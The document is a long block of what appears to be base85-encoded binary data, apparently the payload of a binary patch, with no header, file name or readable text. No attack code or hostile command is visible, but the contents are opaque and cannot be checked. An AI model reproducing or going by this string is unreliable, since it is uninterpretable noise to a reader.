zTrEz-o5=w%!hPRrwOUT=v{j`Gx#hfURq=Jp!EsezqE%hPSE#|_Hrv!eJDPT)2^5lV zP%QsL&+mKJZB0Jtuh1X#>Le3Hn(P@j9A9P(xxI*ptB2W-Y{3aNPiJ7Q)~eoBjm8=5 zPzMOu27YpCCNly)Zk_UYoR_*Tj>inA7ByS^UrtNaX3ooI?KCY=>Ykk=l>yA=n-G7z zJE1%(K&oSQtN{vFrAW(RNu^qM)VkVG>nIYfvNfYARF+7k3-=gB&!|#Q2}VQgE^~@J zeDtm&%C2v}ZMXLhF(>(V-`QO*|4mhiGDC($ubKIbkWE&bU;O5-HNW_xcB&fc#W;M8 z2I5Rl_Jcp-bXN^x;wan)OKqU~_;t`l0(@CL6;`3A402_;(zU9-I68cKwEax2VAPW8 zi|w6%Y(L#oRiV(UC;QL#j!(9qy;y~Io*$mSujt>e>ECbaYUA$RyY%lmrluJK z<8mCHO)#IPdJ@9z08$&LbikzcCdyr)+hC|?{xlo|r~^kk z`6D=g1?;T)_8eaQ-}!LrdVxC#Ca&L`en$g(826#IzStcOE0SS7A}$Vf!9X==?$AeV z8}J29xaI(T2WQt9J!hiu`W;JRukk?h6Et4ltG;>xC|zI- z!3sqS^GLJjl7kT-U%HU?F#8s?u>#ve>?reltK@so2S_nB-Q1bS6YOcNBZfj^J}j6R zKmg_%*sQvOlF-V}`zJpf{&=FcpZ`<+ynO`h%gH|<8Sat76k$sk3@5;hDBgJN4JX$y zbd)^o9qs%8HMSq`AMBs}6GaVA_D`Pg9UrSFhrk-C7u!cC`#V1#0H5^Y$D;f%mMd%W*J~LzLQ01p5@A*VTh{DC7-a^*d-sVYdM`+3bw_|{ssjIF}`>qF2JeN9-7$BvxZ0)^u^1b-b z#g?lC4Z@K_zm;XBb^6Q9F^|2AqCvm7PhLNL0onqao z>?}LKL=)aHZ=#3iBI4a9G@BT(QI1c5;pn1(1)y^@1uh+!X;K8hU#xqK*?O?Xh2I~c zoL2khbi071hZ90HFue0~ABhaQU{=;wjclbKyz*58P8i;enCc36b+{qdqvmffn@vXx zsyM>gtLTCR3;@^rF99z7KKccr&XuqTCaR9JHeQqPX#!*k9y{2%on6YFi5VAtn8?a> zh=Lw|yJ{shELI-MMYN%zk zyu7R)?>*grjvAzs!@~o$bNKwp{!{!WSR0)fOdph(k=>&&vC6ULlnv>j6Lps4&L{R|U z3Mm>WGTK%({!Op>MMbnMTUy zJby%`;>Pp?H`WKbaq6A>4Z48N0Mz5grD^>FE9^(woQXS_n9zFq)%O)n1KtJ5ead5k zmD)SnW4}jimn5asH2u=cz}b-z8T8`wXC03N#`FifHl*nkZ78ZhutU<1TEYs?+cIVN z!P9+wyxYK$0`vi(so@~Ld7eL`vd^E%9Yh?tmB>;GR!C^exCnn?=^tgt7y%P)i(*9~ z9ln(Gwd0@T-Rm&V@of9){!V-68BEUnG;IQI*YWLtkxEgqA1`Tf!OT$eiznr|f zEJ9Pg>0pHGfB5+CyFWgA0hQ!eZY7K(Ip`1|Y@;o~_OWB%I{MPF?zaSKk;slq_Xf@v zb_E6lb+)Sf7n}TnvpCc2d=YOT9?;{Kik1kPmfw1=STYg&8$Me-j9^Yc3kjf+ludLd z38;1}Vkes;$|YTKJS-(C&{sHcBM=u(=&aHt{j15A6Z_%O;vE7+%W2Q4>0wP+Ew0Hw z9KI;6tKvGRrW;YO(Zv|5Xa%nIRKr&GuKezFLJM0kbZmpoji7)2LH%#{dI7>6kf2G_ zlDyIM_(WpsRz@O)&R4e6n6+bGwL?&A=mQu0QdHemIT#*M>K5bcvR0gqjxozGBNO^%U}Cnb^m( zDO^vN$Yyt6F~IWK?}c$>S30}jS7Mb3H5xziSmUgdtdv5LH|`U2L?~{IbQ?jZ%^$a_ zsTZlHJi~NiD+WDDJMv8$ktZ9;YD;R1m~<=Js)pZeB~zc~)P|kYx!4O@BI}~8%}#z> zg|^=%tsBdsLc^d62}3LpC$up}J{a&PD^_&2ay+ZUSDFkehVzn^$&o%hJ2M{tCWfqA zN$Gg<+fEhA?Sx4}0E@nVg@}h|jl@WSzK98wf{(df7`?Z)IS`!$V!G+ltXouELA@$o(Qb4xunP1Y~4zJ@Va(ylCUoR@Hv0kW>IrC~>nI z2htVEXOVEaQQq=CS}(X;=7sg$Ky00>)RSNgA9OTe=9*ENKLqCA@X$!k3&kUZl$WXm z<&E8fx%~n(86Yu8qyK#S*&YourFGVWO}*B10P2Q%32H#fl4znAoSpe&JUF!bX7pGd z?y4}kB-XQRH5)Y~$w5TX!Wdw@4dB8W(d4>sXlS>>3V3Rge^$~uBKnqoS;^Can3Cxa zm3-w$qI~ib&4~$|ym89`(dWm^rcjNQnMC5N-J3;;WxLgxjd7@OBKUfpIS5-Jl|K-> z#Jt;?={K`!i4Dt9)g=m9?<=_*o7vQY4K3Krf*C18z4B$PR)FZ74p6U!=fnd7v=hE2 zn;+Ph$@OZ*(koJb)^jDRU$l$ZQ?!RflBO}*ImO&lBJaK4GyS5H_+s875#hsK(esDh zfGwOxeXomFJ7*}HCEOyYo(y^PRUA|EC}B)UI7U6u*)X3OB_GDEiwi)g?OR5*d`NZ+@YyBlQ??JHCUY9iyv@aI zY+^u+GjsA9jBHUJ>YTh-8i0#t3=?F<%ro({HZ~+}6oMAO7;>hpgg6^}=M?dZS4hkQ zup~;@qKoiyXu83Vb~pG;P>&XZbd*S8fEV0wK=%$1(!D93HkeLCx?=b?_Abr7V4)o$ z#VT22Hj5+7w|1lM$KEhP2fpkWXuV(%BY^lFNsmG+S;@DJEA3Agnx{{mlhP)1BQF?N zX4u)y>^o7qqP3GkekKuykwp{s(Y6+D1zwY#2wG88t%n({rCNzD;6vO_;!y;c=AEEH zgsB+0qad-tgl!JC{NCyyl;ChtTSjYlm-%Rkp|n|52AA?=02fm>9^c4o+)8YTMeN~L zHT5DT5;Zzf>Bw$B;tnj*z_f)QM5~c~7b6>M2IN8jhh7G)I>C_gt4zoG!Xidlc5pyK z67+8+#WIjUroIuJQ-U08Olj*i0>#3ww8g-M^$=PJf7#bp-7t>%6QJuYe+qL=fULo1 zPodrKmCphS)T{Q|wpm z?jJRwEb@xgH=+n4&&1?XnYE3u1_K5g>a(8!7U4CvM#%Su1$O+RXefA48wc1tt-&n} zU=R$aQTxCefxIai!toElTcRqq{nPf*7Irjq6rv?B8AS?v<-gC4$Vgx_2qkG-l)o^# zFhW0EdB}^QNt*xrG)009dlpWLG&$;>qr4wYOl&lz`?WEZeuoqI$(ZP0UZ9^ZTlH(i z)$u7H7#Xr?qT>?1K2UzkN@4M}LJ3GnTqF8A5HE|Di(4^102ILvsGD%y<^o$zwfLiB zA3WVP9eZj!Hl)zg#^u8BoSJCuUfZaZB!tK|3YiHfFZITfYc=RvWZh(fL{A89D@B%< z%)1qQB;UsAaKSFJ7MzJrvY+Xa2(IL!MjgIhYQU7yxJ!x$Z2=PNTh4;3wtQvQ!KtQS zIa#o05v4^*lLrmJE#QtGlG2#2tDUs4-KyrkjwM<#3yox9rVk@EwJmmSfvNpIuT?SX zr3FYe&OH`Lg7S=krQhraS}V<7Aa5Y&3U4R01%!TLE3pwP%aU_U7+_03iFcVU=#WT? zv`#!Xx015vrp8k5wCTy-^WBW$iI{3uV*6LigHkEuL#a(WTTnb@*NG}Dw9vu)YviqP z;gQ`JfaM_4reHn=`0a-MK3qH-M#ajx4Y4X=8!tjrE_T?`j#)d02M2pQCvChLkCi`s z9gM>vF)kYT>$1??V+B2wh^1m4V0v~&8jV5t%8&iUoR`%%iI&AP>u+1?r5%kXQD&>6 zP0Ew+(Y=|YAf&v&m(h)i{O$anEd|82)S-(z9t;&YyxqS)eenYQ;n@C%1qWx;2n?D9 z%7fqv-tHVV51!D4aqy%;E_@jH1SQ(Xm=uvZL&gUP7THF)8ZqV!Y5?nKR>q7`pS;I_ zl%7P~0-hjh9GW7EjK(Gl%Oi7CY)C0SOJ8R?>#b+L(D2mvits`4N7GrYalGn+D{=mtU&xD7OlHNq2^T-o1cT zQg^OQ!HSLyM6@saCI%!3K-W-0xz}iwcuC6jYn;8O2FMtr<02y^yw)}ctL94TVQ zp>PH}3Bg*Ufw-=L)_!EgcMdnp(6!@Wk?jtC&kcNqUrEkliakQ3LlTid=ki%%>*o2r z#z9Wd?NnEd_fyyT8`ly~0(-xUd;)&nK6<|Y{OP8acMvSJPWgn?QtV}($H2l3V4xly zs>93`qj;kUmOW&45IJSf0;MMfo52SS;GbfZ*M1{ouG*=Si0zi!j z@3T1Nt@4Ul0et3|1~Xf&Q#N$Ne`|G3Ljl$xV#y4obm$AWq=!q6&h$@uPdMPp4Y!&t z@_4%$iqJ%diNn6u2Wt!60^44|o;+Yze6c4+(Tmw*N%6!|GoVI-F;jkcH{bl^p(KX~}n*WcW&H-FvSgoV)#jTm^!c$ne& zC^{h&^lB3=rfKvrJ`(G0s(7f`!!TDRf%`WSrfPjvQ#c$8zp`ZerfFOy5R+#?ezN^k zi21mms-wQOq3Ju7j8>JvbTgJf&jMY{r1_QuoCunDTuZ|3lEs*}`mANK12-+JA4feQ ziSiG#xHl%kFz7u9|PvHk9-AH*aoGMIEE!DHFW9`+|RULC; ziK43!p*9*>q}t1urPSKXmrSm`e7P{ehE)qFwrp$fMYCO9rKmQfN^|V{+t4vax5?A` z(YJi*hN+gdf#6z2R$crxC4JSc70aoUwQ|JR`6Y~~IrUjYu9XNwH(g-PCfhO7t3pp@mR$l#Zc}yx3A2IC zl-UIjAZ7j_FWEpLQ9_=I)cO1sMMB|p+!X_341zf{R;N3F8tCjtR0I&9b;?s#)ybOD zX)mV<;2Xbi zKzVl`wT4c44=jsLHBW#Rw_VebJ~1?CofAf_{qie@1LZ7BD|azAWNSzU+`=yt%>tc8 z3Rz7djq)77Lgs`iG!z!qu4b$w8-|wG2C;+U0)he)6#MM#X#bKo_@@C^#E$bWw>BGt zU!ve4-3Z}I+Xdx~{)r7T1x<}^lbI?ElUFmAwA0PSYA#W2MX}MzRuz3r&<+OuK`*^A z+H6M6PKX~ddM=qJ%9ar9;KC#50V_ie>p3}dD&)n-d}|?KIN5w<6{i2IG4^-ZdoSSv zM|5+o`CGNwd!(9}o~qfarE*fWZPOWRGFzwVv{a`Rbe*??RxUoZBv6*mi?iz7d{S(E zy5N)+hK^VaLhzv<(Szt<*E~MO&*-DXKVH5xU)Y6dI3-Q3^8cXr>ejU2?nUp#fsd?>cuPP`a>7nJRP_^TKbe z4p7p`3yrN1`hXt|rwdfxyX3hw5Kd?tUJ$nLw$Wmh_&i;}afH)jayBkvhy4L4T>GWf zYW^BOcPTb|{DB`0hlQ@n-LCm;9!Jx0aCU9p%cH5*YOL8zS_e3VSFuo?Vs*d>J1|rP zPAm9^j620de!=eJZh5smlTFU5$q%?`u}1`q_0!T39*+*85FI z7`oe=_9yIdNYk_~ykdDL9FRu8S0?e~BQ%H1lM6o5wY9{PqgVpq+la$T3TMBT>}`Nc zac#EXx?eko4!5qMuu)8T5URhdUX246$8r420FW$%n}S4yU6CHBHn2$7Yfh zJ6$0Wdv+l>I5!-w32c2&)mnGgAJk5DG~h+rIJJ~ydR|ghBOSPsx_AJU*NMVDMqVJ} zDrV~mZD5ep?>G6U4i+?K-l{*@sx^Q4t@$hdZ>`yKTW+&vVk7N%!*GZu8|XJpibH5w zds*~*QqD|;cTFDkO&ooJ@qE5$esM0LdXxlQOqA9FNvCQCmXO8JMNg=AskA%5TX74} zsiXTOWXL})$>}Z$3*eG)bUTT#M~krIFmSeTd`a8MZ#v@5e{kDxE&kbDdAb zadV{mi3{@4E>?CRd)E5+sWl8Q_D>{Sfud$#hDe_BFX4yt#L_s$LdV6pXSurxu5rJfz zU~aXZf=lv(z3bsx6vcPlv_$6DqY)k{bl0QYBgF1v$Xkipq@(eAjQ1L^T~qxrl0f`5 zpd*HNt;7as#t_50iA#2j^T)0&qdawzB&dUOMB+2PHR$Lx7GSPHi-=&?YDD`#ezIGG zQ@)gU`2I$hGi)0XYDRobXrZWrM4L|6kPAW7L4w?JASb4O5*vxLT2=>QHUe8QR@zQj z0#BiNDI0Y1WiFa)s-0Y(B(ZOwhnZoTaTs~Anfd)Z$U`@Ua^ako__am|8N@$Rq7U1} zKt|FQfSWUnx`b!8MTfRTnmsU!(?&7Y8vPEem9L<*PHzczB&aUG4iyRq>MONu3E09y@qe3X5#HkVPTv>9m6 zFeJ_0L@53e@*^4gl=(NJhQ;KtF+`CsMjoi90`sD+JN$+pA}5CusVKdMWpA@g5E!if zy9PV=s_JFGDnA>c$t;i?b@eYA7QY{3%(-DhlqwApNn@d;vL&9wjCi{|6>3>5_vt}A z2Wq9Un-i6}P(upUDlt`?2xdE;4kMth>tvF#vr|`>efVzKR+HnYRDSvLrP`;M?XRR9 z#!JLP{Q!6`PYgx-lkQogdv(P~VP7ItgwhBH?FF`O5}bPyVG-baGQkM%!Gt3DxoYLv zvsFnS4gJWh%q%=qYzz%-_ktc$_a;0?gA^$Z?YQhuT;=r*1*Q!z@|n6*sEz^Q2rp46 z*2)qaVhqD%yEU8pNv2LL(c{2z!x=fX)F`WDyf}nu!2z#Xr83>7?P5x`Muq?}6;kqr zc#ZYqZgZ%FfPmcQ0AaV=9xIS%MhLvdOq@|@Hx2Vys4#_h2$<(T6EMq+U?BnC_B zYg}hpn8wuU8Ad0L0nhme_8VFRB97y;9?$d-gfGJGJ z7#~khg9v0vsVAIZj6hX5bU!wFw9ufo0kXZg2b|wPv@F_V5f-9@J`-Y$MK=N(8AP1< z0Uw8~fEDG?a(5YTAecuH0DX61R4;OcOnZ5aZq4$vnyu|(R?5h#IJmB9K3 zCJnUMq18BWYQ}u^DXThjz*&G9muOkNI6OLewzr8B>5JE?&qijF&4Hq)vX4V8B2Xn= zoH6i0ch7FLKsJ{PKi;?`?RK+-PVduj9+5~{j*Q+K$)|Ed`DOKF|0OOV97lgVFoEe%&UB$&ipNj5$~#!(r!IV=0np zUy3Z;v}AH{qTA#(r61ApR5gp4pM6Nrg|1(`*4Z<<)_BY}trp1*!#3PZ<7@sbF}f{m zUEI1E;|Z=woaY4^BR@8FM9<8acnt$ z$udgy<-W!>ieo{FccyJA6oU+HuKUZzy=40^wM|Xy#>~mg!x_~raQ%v=Wk-CY!l)0Fr?>N%5v*xau~(ntqE^8bOK2R zH^O}+ZAP7T2WS?coGKPb8V?f_jhv&jQfRv~GD0MEC0&6r($(&Ga_xbG2`Ph|y6XI53) z=8G!ti)uh(RP>aI(vu9kaUns>t@w6w5)y#qN&&428;|ON?rXVLaGPu13E`|>>eD@&;9KN zk`#}Dfmip`k>B?{1T|n_F5s-uAtglh)FsEvvk=WnL>NO(Q{8Zk0JoW(Yb~A^!|sCX zmf8ffROTe)eC|BkJU-g1(Y_{@G`_0#F{OmB1FX}9hwjLhuL`G~5P1a!o~4*}NMK7F zgl8yOuUcuZ5`m=|qsfGm5t=A_p0Q=NV%Kmd!Z{ThrD~+U*uoi{%XVF=VKNiMaR4aM zUrf}59@$AVZ?i%a$7-zSfHeZ7%efGUDKME1@IGbX1_ro~gTn}twpgH|OiprUsfSpZ zyX#{N{9woue$8#`2qY#l9{In+9m|nN@E#hnm?jYhMBiDHtc?~XHQC-lAJ66*ab3_= zbtC=7d2hpHfmqf?PJFBN}RDA#j_Qq)%kZZ1-H~^f5sfUv>fZ} z%55d=wrtDRv#Go3x&uzNhDK{O+YoI%Wxu9WYWUn<+I&sMaVsgo0XMwC0Rx@7RZHk1 z(Ukm>pq7BosVprm8Exa=>@4CqrdmbKwU*FN?oz`0510D9aH>%bRD9|)5zK{Ya@%ss zw@xwgwrc#4=VGvtHKS|{$uO+BKOpq|1jWzCOs+NSXkrNq(ERN#{)yl(oIrHAYOPk$ z;p&kZp-A9e?bMhX5l@{U$ALo&|@#j=Bbflq8p&mDD$u4zcMQRtPg%)8o5>AS|kAt;0jhZAQ>8wE| zQfegFY-l7c@jNvYz*Y54-Zjc04xB5!GFnTAjTcmS#F>LPaivbR9>x#R*IKZlg7^M1l5);RNLg#RP*@ zmI`7RiBw=TG3gjhNi<4<|5D0~M1qFOQknfh%{FVO#WYIBf0=}waq!kC7zBNfBuW?I zB}wfjV^3$6!N}7X#xSC2dfDV?AC44~)f074fvHeuZ!<;J6wpL}R=0uZ(;2%mqmaxG z)iH}EU9VuAwT#S96k+hUNk|8XwDXwwCPrGHjzeu; zz{BfxCsR741K%4`6xt}NYs;-D5p*maR&w{?K-^;HS9dG~jHRIvXmRFqv$wT|MW+g5 z3^W3|tV@p3$2A}-Ky+d=NONzwciX-b*yyIbLPYaI_J`d*KmZvzGy8w1ox1AP27N&X7^m zVll!g5mM{Fs}zDhMUMSSI@Mfzcce0cfZX-NxjafRu0&T!bFlSg)rcug_w(I%b98kU z{3*W*K&G&T{|IQB3yB&fX3rZ778_r9qbTfM8$En(EKu>W(`BI^x3JDy{J3t3{)Q(S zXHcML#5Wk(z81G&28k}f%W9W8QtR$LZEdJhQQWF;o^9_O9=~kw?!7oT{O7a1=O=)F zkDl(Gyi*D6G1ma$dBPc)Mi>QT-ceiYZ!KcU$b!VElv=-=S<4SP;PhgfQLHUIf>dYP z)EZ;fO-D1jwAAVGRi7?r6)KDAlak~nW9_6qCPUh2C8|}RJT%U1W8#{g_~LdnD($oe zd_~(EQLv0|n?u!OrlNRSg~p?ZS}l_VLVd_e<1izA0aqzoEby$R|F)A5R zypU!qt+2br6>;V-GgB|R?*+mL6($C)s(G-g$;~+k)`reT#kiTA3Sv}^PCO(+NZ2e` z2PJ>FfW2S&a5;>|!E0}VS1#rRimb~A2lxhlylV`+2tK-@8S9_v8PAwvx|v&=Y2s|A z!#~k9%g5E|z=wVgmzWw?+#lxIWU0{=+kthiEeS#&V>}2qZYWa@^9{{Vq+@OMMUm!E z%pLa8@{4aSbhWZ}?tOr?oSc$q6i!rMcGv24M;?Cr1#A6kziF+wD1fTBzpP^rzYLX= zp&;G}&-+eOjxP89=cjQ<{u~bcUO@8Ic}FhbYu_2^i}e#+>Hp;OeLI_E-`g>M_+)k{ ze@Pd{P4B-}7BH8{E|j|JcWp9kuIs(z0{VUMD!LfMShYarR?z{snFKd{B>^oGkawDU zwS1%-yNu5Dk~aC5K;33coPYIpq*Ort#}|)m;%5OLqMB7GyG-FNHU}tn>iEGtR)Q%Mj<`Z zSCT0vS%YdB;jNt+q_3U z^uw;F-88M#W8x)LcuIG6EC-y0d>0F`h=9IlHJwA2j0Xh*QNF2Uf6PAVTSamLmWWf| zTUPrgF@gonZ!r>o`xX<@lqf>2m}BqdbDqiG$OeJEUN>Vy$S_fmKvv!%{ zgI;>q6eM|!nHnV_LL9Gl91ct~a9H|5H<)miBI;Wbq$S49o~PQ6lJjc=2*>Rh!!=o< zDAc(a{A-Ecc<$q=q10EltC4Z{!)AI`m}hsE;0(h_;wI>TcAc5N*Q>_)`j^J92hQmu z+Qco4u!+jLKRCaFG>hJxaw_RVy2VwgTqW|e`iJxAkyTBULJVt?nq31<2d20{vuf0XPUZkdGhO)2S>8R8gEMgR!Sm5f-CuC)v z^T(VX@gll}tg0Y=8J0GfqkLG5ELcheo6AxM=6fNLkcGcl#68{aw?%I=t+15cnI*j~ znYrx32?pv5$KMmOZCU-`bzf~#03#l`y60X|deyEsM8A8T zfB?5uC(*?OU|KeYQCGAJKL5jiv*-ckpT&d*_%~1D|2j zyMBZ*YfeJty$&&p99%0j`%%!v4C!O26ArX-=*EMG>L0=5hSv|y(e}ogMaQ39qKNeF z)dM{l?C$Q>!zWL6_>t4D>*#Hm*j=e-A%(}Bj`-fOmcr}9%|mkSh(Zpks55@Gvazbj z=4hVaZq<=&{@jWLfTN^|Tx=FsKLw~7!~3J{=evi`8rAAM^@X~B_nU{RsWwz=O>I2f zSigT?-BIiJ?r*Gr_0`7LcTeXGjfq48Y6a@;x|7uf6qpIxT9(_JaZb3*dg%Z@%u+Ef z8Do4ZxbyMH!`ae*%^(~<-A7E8@@B{)ZH%wc7{D)kOpf1pj;Z0%(-Zi7Jtr;sjbScbzTiiZ$T1=fqBtidC zdUv2IIoETK^^sWH!R7JBPF*5LIhai%VD@hRX#b^T>flLhovVtj zIY2km57B0nC)}e?OhRI9p(16&kZR0J)W+KfL~-Niqk3b?Vw}F%()N3}TQ{S{GBI|O z)YxAZW7j4h%7IDh*$_pQEwB>H$qa0fPw-p-wxrFc|9ck2o*NQ1_`gE)$qdOeKZSBb z*`nx6(!v%ZUs%sn;Ag3LUiqoEZG-JH(Uy@S^eKOO8Y|=HaH8#Ysp$VnTmXi4|&1 zc5GELA({Y(IY=GR3T6%z>kn}aL8j44Y}~40=HiuKep^|++xTX?@h`9O$D4P*VrFCf zZ@qbrMNS_vk_tK|u|0}wO*0O(QGFvFzH7PeS`%j7L|&8>@wae?q%RSG(3Wtuoku7( zHcuLI3+amgorNh5_FYfWQ~68ySvd5`3Wo@MN(4gy2GG9oRJMRT5uO4=l&bcs&$zDqX?Jbyb><74*1%OxG*)=5&1rSzS&G>f_mx}z@NcgVT-nc`39Y=f`* z>i^nhmelKnuZe}n1~`@=h7u$`VAQAZ#N=2a_=2cYj`iE?W$+j_n8sXnbcu$8I96Y| z>sW#gpEvFY6cw4G`C(gea$j1dLFD&e)1i>`8@LufNzQE)0IoSYSmIZ%L*&5HY!>)q zBz;(#GwZ`Am+QgkFi;}#lLaRjv)R8y^Dd<(gHbzx)3OzZLe9u#Sd#2k208#ZM4Lg3A-9<4ZzMc zvH8pgecF7`!bw?}>xmm-E<-;nlk&CMTKUag>-W$pp|zs$C;U@IA;5a`Q`EF4wT}Jk z;gyM_b88t<248>u>ekzQJx3%NgF!!K*MgxxLF;^D9Z0*>ZtopDX}1xu5M1|ELxZCJ z^4;8FRxoPIV*+@}vhiLjat>aR^v;q*L~|J~Hjav{70a#a3U%9J8Mv%|4#%&&F(tO7 z;7FoYhB-FY-3Ner!hZJxE(&h?R#P@*KHB2E%|@Scl=ty}@N09^u~c&aJww?2jdG_F zMD7Vsk{O3XS}n01$apgpF7QVrmlK-Hn;I?HVf0StJ4>f=N@7O`PiZ7#+&X%n+^-uW zOky(XI=RR0W7F_+2x^ndx{y`JN6GLfCwLA=S%&TC?A~V`&SxD?z7FSxf{l3y`u`l+ zu0^vP>2q-8aY#w(W5d1guHPD6BvjVSSe$@(@cNk!C6AKC9BQrAX0WwIk+yH0$GoXB z{8nsEZma|U%#QvqvZMMpl!eF58?&dMG2?^yootb(v+wc{yz9jQGceW|HCNi#fj!}JBUw% zRL;4P{!#+DF+kh&zt|wVSmlIRAV6~DG$*?7DbXyH6ZT9wUqtGQsMQ)enMhH9bE|gB$B zb!+5ezblrx2h(oQ`_vWLfPerRqnj+*MqNE{uLy8=eDoit)Z=LIlpD_|lTfKBVN~M} z%t2U8K0hr&eX4QsLHzoQ^@L1kzES7>u;cYHA6ZOk=4H-Ea*dS#3~s?k%>*6$r!;O`MUc?%ou5}yWGi9Cc zU&n->uE|Zi>St+~T)L?lA2Up$x|Nl!`s7Y7#^Ln*Lf4n}g_@LsYDaU}c0k-?uRCdq zv%EaIg|jAM4m@@6kV1c^44NU9_$Jo zC*S9B179{lVJ&O`1hGDej1At0nq(Q?1aOGvhu+qGV% z54^=oe(6VLIwr$(CZQHhO+g7D*+h(P0+s^7d=ibrXzp$SoVy`vl2WIIT>WRna^0(>t zP2HOsIV4yp9Y=o1=bs1bzGD5m}WyiTe9h!c9|+i|uM!*72rNHZzt5 zA(%usdlq-uu#7n2_KPuJV|FG=%I$)4kXfc+hi^S38P{7t({#`iFgC^UYw#+3Y{Zo( z$31&u?l8`phay20R5NOl>i859IChS{48tyi4uvanJuLEI@}VoK7_bZg+s8H+A*>Kb z`hN4Svd$Q`-tSBwA}%2v_y-su^4z8)r6w&xlXzlbmLEEZfbT)9gCPsKg<0w)8M%-SFyh+Ymq z4$vD|?M38b@KsNrozCFLk6sRdhPrZSgBNg=>7i@Uk)b23YaHh88elnG#T6|R;Y2v3=Q zyrH~|>nHS;3!;ofo{$((u0qQ3BhDSJ4Ih6|fl`afoq`STc-!|_cxZ{MdVjq+{<2i~lkha;5O!`h$Zqdh6n2*4fcdY_k7Aid z{(`M8J2TzB@?oH2Y#V*e0_WcqqO!*j$4XnL3L(p}?poNO2y6V)4I9Yy4G~|!@@$6L*BkxJe(wcD ztUFiNUk+=0p6Rp?2yatS5Q9qiiYQ?gNN0_1=2-LUA<8)F$LF(gZ@PbEYJkq7^5NWa zrA#qBhOYBpTIH8^n$XF^#k1eSVwLvNg4DhZSFs1mIimso+Bp3>Iy^l0uG#N84-qWD zB5M{wy-v2q-0Cq3q>$jkjicB7{AZ!&%1w=$dP`a_g(gV_YNyh3c zq=lCgI$*GLJMBt>x&ElZ7d$ZxxTXi=fz)0JRQcweABIDAtzJg109bK}(%eTa_hoFE^ zo0&tUIrGy&g`7w6$QCaBY*}3$mfoW4U<^de)*se@Kx;!TcV{J z%e6?dfzUAiY>7mcBb8H8`f?DG#gU3{MH8l4V9wBebA|6IN;)7p7tyCESYuGwc+x^A zQaw~MMJ({qEtdF`J%3zK@X|9uST2O9pKg9IANF?sqKC5rzt<_m;b?OOHoN1|Ws$9T zbZhcj%sgkS<6b%1q**h1O*fxYOh2ydZfhm+Tc}s50SD{4he)X;D3zn!hKsyh3qqk1 z7Kn9d+QG45EWsED_AgkAQ}x4yff-eo;W8?EtaTp%gUD5PwCl*Ve;U&YTf2+mSyl8R4`_1FN*rk*OI{K_sXa#w?hGdW9d1}+H`N~AKQfbO_j%F|i zs`*#6vlG?SJOiK4u;JhcJFdl3_+{c~%k%=!lAf3qSCn;lIsR%nt7l+4r+IYF)?(q> z@I7t+iHTn_=hCffKr(g;La})(<)bS!dGcD(7Exw;RMm*KG7xQO(S+YD9C@G2i>;Xe zr$R6qRm9?K_(yw;<0lo{Of2*?`ifUZeFx|-sy+BpD0stBv}Y3=FQ$u z>BHEeLw6)a#UeOTd|>1>h(SU#+uga(6>JWaop)-sm`0-jB!tTI!QC0ixl_B+sBwQG zl3)^{7sUx>A_h{uhD@QZ$+SDtI%8T*3Nn03y_t={_A5EXvmnflvfVE7G1yLLKYaaR zg7_IQ9ELIq$?QPHi_jDpGC|3gq^w9nGULx>&ThvcLE#QBCl{gom#fjHJXp9B61 zqz$EU_=-|u@qE$Ny4Eb^D6k325~4Q&3oUvT@hE3|7+yT5$cGhBMinzJI;XmkpjGS- z91jp{6EIIW>boF-)}t9J7_>NP0te5KQ4J@G!$=^q646yu_J#Zg#IUV%h3<=|GZQ{T zi1-is%lK)0XbiDJo32t0A%vRou*{0G(_=CgJleJqdDXBCA2>>nfUiMy@j;v+H#OPl z^!P29xnO!gtUQQJO|1u-tLu9BcD{mC8s<7#^h#}*9c9ZG(TdhG)>i^Tho*QgNZLSZ z>ZKbtfUWnx5+OrEBFG#oGR9Ke9?+sFE0!J^ReTB)=~x>#|IdA2S?7Us4J!OwW8S?l zoP-?$j@KC8M$-6sJM8j=XI_lsp}JeUtz*lAGKhyyPNc6{7bC5Qrw(z_e*qV(F^2n# zxwzLxNRHMy)nX?10#Cqc)!Lk<`sZplyEW&iG$3zTPi0sE)&Sn{@Z&CGZMmoJJiv5oEE* z9AHdnjmpGs$Y=EO&jkliOd5k)^)U-)iS=Rr$NRc1Tw`QcH+VSBuX+c%Sz70L>}jZY z|MTCGPM@6-f}x!tvSHjA?-_t%hAAp?#qe|${&K?)|APOh%H`c}K2*O@g0{GBl5nlsxZenwehLvyCj@+v!fqnHggptI4U~H2Pnx-0vB( z0Au96n&=cpZIpE}MyR1SU_)$kCt1XN>FuhUk)b-xC?zw}X#Gua^6Tr|mx-6f{ML9i zC@~H37sKCvc)5YCJs0F=!!do~?5Il1CNO=1zC&FmxB)f*Ela@9Iwud0#qACL!qc9A z_+i{-#c$yw?>cjpoBPe2{4pB_TK1AL=N@;4D|7lmX z&pN*H3FV6qCRsycMzX7<2#I{o@T=EdPNEdRFQK8^S=?JGCFT*|=j57=LIDh07Ke#9tGgPbjB|0z@`5a>{m9h)`J>Gu z!>e<5TsS~g*My<`f`AlSO8{(NJ2w>}y+0fd;1s?TQBzrrI@^LjNuH=&N0d+JvmJ3< z;p+Q5KZx=s>%-ugfn?Jl*tiCuJ_UZ0rCEdu2Z73Ts2Yy?PL;zcrAMkA_a7%lv;hL&boAg^j+UTDVKo{-rd)kxGMIt64Pe0`o~I$;P=2n7(W0F~neFtY#18XUhs znPCO`W9fLdhXDtXxO1Hz$qy+JOf2rLLG;QWOsMK|HrppEGGMQ`aNNJ7j4ZY3^~6ob z2DCSK^rSpy-^w5O>< z2YerBXbK@ggg9vgZ4&pyK5Osi-@IqZ(?5E#jzdMkucmw;+ z!Wb)eV=84fi)sai;#&cjW6z*YSNHqX7PDNkq)`hH6c~}5OXUc3>$x+L2HRxSLA%B@ z!ye9}xDjp5+l0b-6=M0uoVV5+;)z#8or=+(Q2H8~-OAdTRz}EfMSe|ir|1so7wt>N z*_B)l0C-nL$~8ZXCS*|bHqsj<2#PN*#u>NKO0hLRro^AjlkoBXh{87ulIZ`Cy3ZCQ0#{*x}G+aTns zSz}XebzKqOwa}D%VSEV%Ze5=0T_xoLE3ny)dYCb^6kuu>K}hrcqe+9Au7>(o6cOfJ z$mWadr{kz??+&uu2jbI#w2FcQ|MxU4=pTBCXhS1DQ@rEoFUlV1ZQ3!XBJ%~ViK4`w z|85+kJg-~_48O5>Dd2}`5if~7RLhn)#~j@zYUI6Mnilu+*TzsWrWDh*vwQqj%l>9% zRr_}7Bz^g5rBW7PAxl^C`yuRbiM4FW>>34nZM2ZKj8xp;_we%5 z9XVACF86S`JwrwBnOeAaOm$l!<+C{-dY9uL+wIFEOBStx(!M; zP(;L-vFdv3YYFlJJ`{K&Lsd1ae-)cIt7*-B>Y5;;!u_jw<$JbP 